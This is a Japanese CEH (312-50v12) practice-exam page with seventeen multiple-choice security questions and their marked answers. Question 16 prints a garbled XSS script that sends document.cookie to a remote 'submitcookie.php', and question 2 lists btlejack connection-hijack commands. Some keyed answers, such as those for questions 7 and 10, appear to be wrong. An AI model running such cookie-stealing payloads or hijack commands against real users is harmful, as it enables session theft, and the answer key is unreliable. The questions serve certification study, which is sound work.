312-50v12日本語無料問題集「ECCouncil Certified Ethical Hacker Exam (312-50v12日本語版)」

質問 1

組織内のすべての Windows ベースのコンピューターに BitLocker 暗号化が実装されています。誰かが暗号化キーを紛失するのではないかと心配しています。そのため、Active Directory からキーを回復するメカニズムが実装されました。このメカニズムは暗号化で何と呼ばれますか?

（A）証明書のロールオーバー

（B）キーの更新

（C）キーエスクロー。

（D）キーアーカイブ

正解：C 解答を投票する

質問 2

プロのハッカーである Clark は、自動化ツール Btlejack とハードウェアツール micro:bit を使用して Btlejacking 攻撃を実行しようとしました。この攻撃により、Clark は接続されたデバイス間で共有される機密情報を乗っ取り、読み取り、エクスポートすることができました。この攻撃を実行するために、Clark はさまざまな btlejack コマンドを実行しました。Clark が接続を乗っ取るために使用したコマンドは次のうちどれですか。

（A）btlejack -c any

（B）btlejack -f 0x9c68fd30 -t -m 0x1 fffffffff

（C）btlejack -d /dev/ttyACM0 -d /dev/ttyACM2 -s

（D）btlejack-f 0x129f3244-j

正解：B 解答を投票する

質問 3

ペンテスターの Jude は、ファイアウォール、ルーター、サーバーなどのデバイスを使用して、ハッカーの視点からネットワークを調査し、外部からアクセス可能なエクスプロイトと脆弱性を特定しました。このプロセスで、ネットワークセキュリティ攻撃の脅威を推定し、企業ネットワークのセキュリティレベルを決定しました。
Jude が組織に対して実行した脆弱性評価の種類は何ですか?

（A）外部評価

（B）アプリケーションの評価

（C）受動的な評価

（D）ホストベースの評価

正解：A 解答を投票する

解説: (JPNTest メンバーにのみ表示されます)

質問 4

大手の携帯電話およびデータネットワークオペレータには、ネットワーク要素を収容するデータセンターがあります。これらは基本的に、Linux で実行される大型コンピュータです。データセンターの境界は、ファイアウォールと IPS システムで保護されています。
この設定に関する最善のセキュリティポリシーは何ですか?

（A）ネットワーク要素は、ユーザー ID と強力なパスワードを使用して強化する必要があります。定期的なセキュリティテストと監査を実行する必要があります。

（B）ファイアウォールと IPS システムが存在する限り、ネットワーク要素に特別なセキュリティ対策を講じる必要はありません。

（C）ネットワーク要素への物理的なアクセスが制限されている限り、追加の対策は必要ありません。

（D）オペレーターは、攻撃とダウンタイムは避けられないことを認識しており、バックアップサイトを用意する必要があります。

正解：A 解答を投票する

質問 5

プロのハッカーであるアリスは、ある組織のクラウドサービスをターゲットにしました。彼女はスピアフィッシングメールを送信してターゲットの MSP プロバイダーに侵入し、カスタムマルウェアを配布してユーザーアカウントを侵害し、クラウドサービスへのリモートアクセスを取得しました。さらに、彼女は自分の MSP アカウントを使用してターゲットの顧客プロファイルにアクセスし、顧客データを圧縮して MSP に保存しました。そして、この情報を使用して、ターゲットの組織に対してさらに攻撃を開始しました。上記のシナリオでアリスが実行したクラウド攻撃は次のどれですか。

（A）クラウドホッパー攻撃

（B）クラウド内マン攻撃 (MITC)

（C）クラウドボーン攻撃

（D）クラウドクリプトジャッキング

正解：A 解答を投票する

解説: (JPNTest メンバーにのみ表示されます)

質問 6

プロのハッカーであるメイソンは、ある組織を標的にし、悪意のあるスクリプトを通じて Emotet マルウェアを拡散します。
被害者のデバイスに感染した後、メイソンはさらに Emotet を使用して、ローカルネットワーク内外に感染を広げ、できるだけ多くのマシンを侵害しました。このプロセスで、メイソンは自己解凍型 RAR ファイルであるツールを使用して、書き込み可能な共有ドライブなどのネットワークリソースに関連する情報を取得しました。
上記のシナリオでメイソンが使用したツールは何ですか?

（A）Outlook スクレーパー

（B）NetPass.exe

（C）資格情報列挙子

（D）Webブラウザパスビュー

正解：C 解答を投票する

解説: (JPNTest メンバーにのみ表示されます)

質問 7

プロのハッカーであるジョンは、多国籍企業である CyberSol Inc. をターゲットにしました。彼は、デフォルトの認証情報を使用しており、さまざまなハイジャック攻撃に対して脆弱な、ターゲットネットワークに接続された IoT デバイスを発見することにしました。この目的のために、彼は自動化ツールを使用して、ターゲットネットワークをスキャンし、特定の種類の IoT デバイスを探し、工場出荷時に設定されたデフォルトの認証情報を使用しているかどうかを検出しました。上記のシナリオでジョンが使用したツールは何ですか?

（A）Azure IoT セントラル

（B）loTSeeker

（C）loTインスペクター

（D）AT&T IoT プラットフォーム

正解：D 解答を投票する

質問 8

プロのハッカーであるジョンは、有名な組織に対してネットワーク攻撃を実行し、ターゲットネットワークへの不正アクセスを獲得します。彼は、長時間検出されることなくネットワーク内に留まり、組織を妨害することなく機密情報を入手します。ジョンが使用する攻撃手法は次のどれですか。

（A）スピアフィッシングサイト

（B）脅迫転用窃盗

（C）高度な持続的窃盗

（D）内部脅威

正解：C 解答を投票する

解説: (JPNTest メンバーにのみ表示されます)

質問 9

ある組織では、侵入検知システム (IDS) とファイアウォールを導入しているにもかかわらず、侵入の試みが発生しています。認定倫理ハッカーとして、侵入検知プロセスを強化し、より優れたルールベースのアプローチを推奨するよう求められています。IDS は Snort ルールを使用しており、推奨される新しいツールはそれを補完できるはずです。ルール生成用の追加ツールとともに YARA ルールを使用することを提案します。この目的に最適なツールは次のどれですか。また、その理由は何ですか。

（A）koodous - ソーシャルネットワーキングとウイルス対策シグネチャ、YARAルールを組み合わせてマルウェアを検出するため

（B）AutoYara - 悪意のあるファイルと無害なファイルのセットからYARAルールの生成を自動化するため

（C）YaraRET - トロイの木馬をリバースエンジニアリングしてYARAルールを生成するのに役立つため

（D）yarGen - マルウェアファイルで識別された文字列からYARAルールを生成し、正規のソフトウェアファイルにも表示される文字列を削除するため

正解：D 解答を投票する

解説: (JPNTest メンバーにのみ表示されます)

質問 10

リスク評価方法論の次のステップのうち、脆弱性の特定に関係するものはどれですか?

（A）システム、ポリシー、または手順に欠陥があるかどうかを判断します

（B）IT システムへの損害の原因を特定します。(自然、人為的、環境的)

（C）リスク確率に値を割り当てます。影響値。

（D）脆弱性が悪用されるリスクの可能性を決定します (高、中、低)

正解：D 解答を投票する

質問 11

どのタイプのマルウェアが、あるシステムから別のシステムへ、またはあるネットワークから別のネットワークへと拡散し、感染したシステムにウイルスが与えるのと同様の種類の損害を引き起こしますか?

（A）アドウェア

（B）ルートキット

（C）トロイの木馬

（D）ワーム

正解：D 解答を投票する

質問 12

Tremp は IT セキュリティマネージャーであり、自分の小さな会社に IDS を導入することを計画しています。彼は、次の特性を持つ IDS を探しています。 - 攻撃の成功または失敗を検証する - システムアクティビティを監視する - ネットワークベースの IDS が検出できない攻撃を検出する - ほぼリアルタイムの検出と応答 - 追加のハードウェアが不要 - 導入コストが低い Tremp の要件に最適な IDS のタイプはどれですか。

（A）オープンソースベース

（B）ホストベースのIDS

（C）ゲートウェイベースのIDS

（D）ネットワークベースのIDS

正解：B 解答を投票する

質問 13

SafePath Corp のサイバーセキュリティコンサルタントとして、安全な電子メール通信システムの実装を任されています。重要な要件は、機密性と否認防止性の両方を保証することです。さまざまな暗号化方法を検討した結果、対称暗号化と非対称暗号化を組み合わせて使用することを検討しています。ただし、どの暗号化手法が目的に最も適しているかはわかりません。これらの要件を満たすには、次のオプションのどれを選択しますか。

（A）キー交換と暗号化に Diffie-Hellman プロトコルを使用します。

（B）RSA による非対称暗号化を適用し、署名に秘密キーを使用します。

（C）RSA による非対称暗号化を適用し、暗号化に公開キーを使用します。

（D）AES アルゴリズムによる対称暗号化を使用します。

正解：B 解答を投票する

解説: (JPNTest メンバーにのみ表示されます)

質問 14

Spears Technology, Inc. のネットワーク管理者は、デフォルトゲートウェイの Cisco ルーターのアクセスリストを次のように設定しました。
あなたは、ネットワーク上でセキュリティテストを実施するために雇われました。
SNMP クラックツールを使用して、SNMP コミュニティ文字列をブルートフォース攻撃することに成功しました。
ルータに設定されているアクセスリストにより、正常な接続を確立できなくなります。
ルータから Cisco 設定を取得したいのですが、どうすればよいでしょうか?

（A）CiscoのTFTPデフォルトパスワードを使用して接続し、設定ファイルをダウンロードします。

（B）-192.168.1.0の範囲の偽装された送信元IPアドレスを使用してカスタマイズされたSNMP SET要求を送信します。

（C）ネットワークスニファを実行し、ルータの設定ファイルを使用して返されたトラフィックをキャプチャします。

（D）IPアドレスをマスクして、コンピュータからルーターへのGeneric Routing Encapsulation（GRE）トンネリングプロトコルを実行します。

正解：B、C 解答を投票する

質問 15

あなたは侵入テスト担当者で、特定のサーバーでスキャンを実行しようとしています。クライアントと署名した契約書には、スキャンに関する次の特定の条件が含まれています。「攻撃者は、偽装されたソース IP アドレスのセットを使用して、サーバー上のすべてのポートを複数回スキャンする必要があります。」このスキャンを実行するために Nmap を使用するとします。この要件を満たすには、どのフラグを使用しますか?

（A）-f フラグ

（B）-Dフラグ

（C）-gフラグ

（D）-Aフラグ

正解：B 解答を投票する

解説: (JPNTest メンバーにのみ表示されます)

質問 16

ある日、ジュディはフォーラムを作成しました。彼女は、あるユーザーがコメントを書かずに奇妙な画像を投稿していることを発見しました。
彼女はすぐにセキュリティの専門家に電話し、その画像の背後に次のコードが隠されていることを発見しました。
<スクリプト>
document.writef<img src="https://Ioca(host/submitcookie.php? cookie ='+ escape(document.cookie)+ " />);
</スクリプト>
画像をクリックしたユーザーにはどのような問題が発生しましたか?

（A）このコードは、ユーザーのユーザー名とパスワードを収集しようとするウイルスです。

（B）コードはブラウザに新しい Cookie を挿入します。

（C）コードはユーザーを別のサイトにリダイレクトします。

（D）この PHP ファイルはコードをサイレントに実行し、ユーザーのセッションクッキーとセッション ID を取得します。

正解：D 解答を投票する

解説: (JPNTest メンバーにのみ表示されます)

質問 17

サイバーキルチェーンの 3 番目のステップ (配信) の最も適切な例はどれですか。

（A）侵入者のマルウェアがターゲットのマシンにインストールされます。

（B）侵入者は、電子メールの悪意のある添付ファイルとして使用されるマルウェアを作成します。

（C）侵入者のマルウェアは、ターゲットが悪意のある電子メールの添付ファイルを開くと起動します。

（D）侵入者は悪意のある添付ファイルを電子メールでターゲットに送信します。

正解：D 解答を投票する

312-50v12日本語無料問題集「ECCouncil Certified Ethical Hacker Exam (312-50v12日本語版)」

弊社を連絡する

関連リンク

トップ試験

312-50v12日本語 無料問題集「ECCouncil Certified Ethical Hacker Exam (312-50v12日本語版)」

弊社を連絡する

関連リンク

トップ試験

312-50v12日本語無料問題集「ECCouncil Certified Ethical Hacker Exam (312-50v12日本語版)」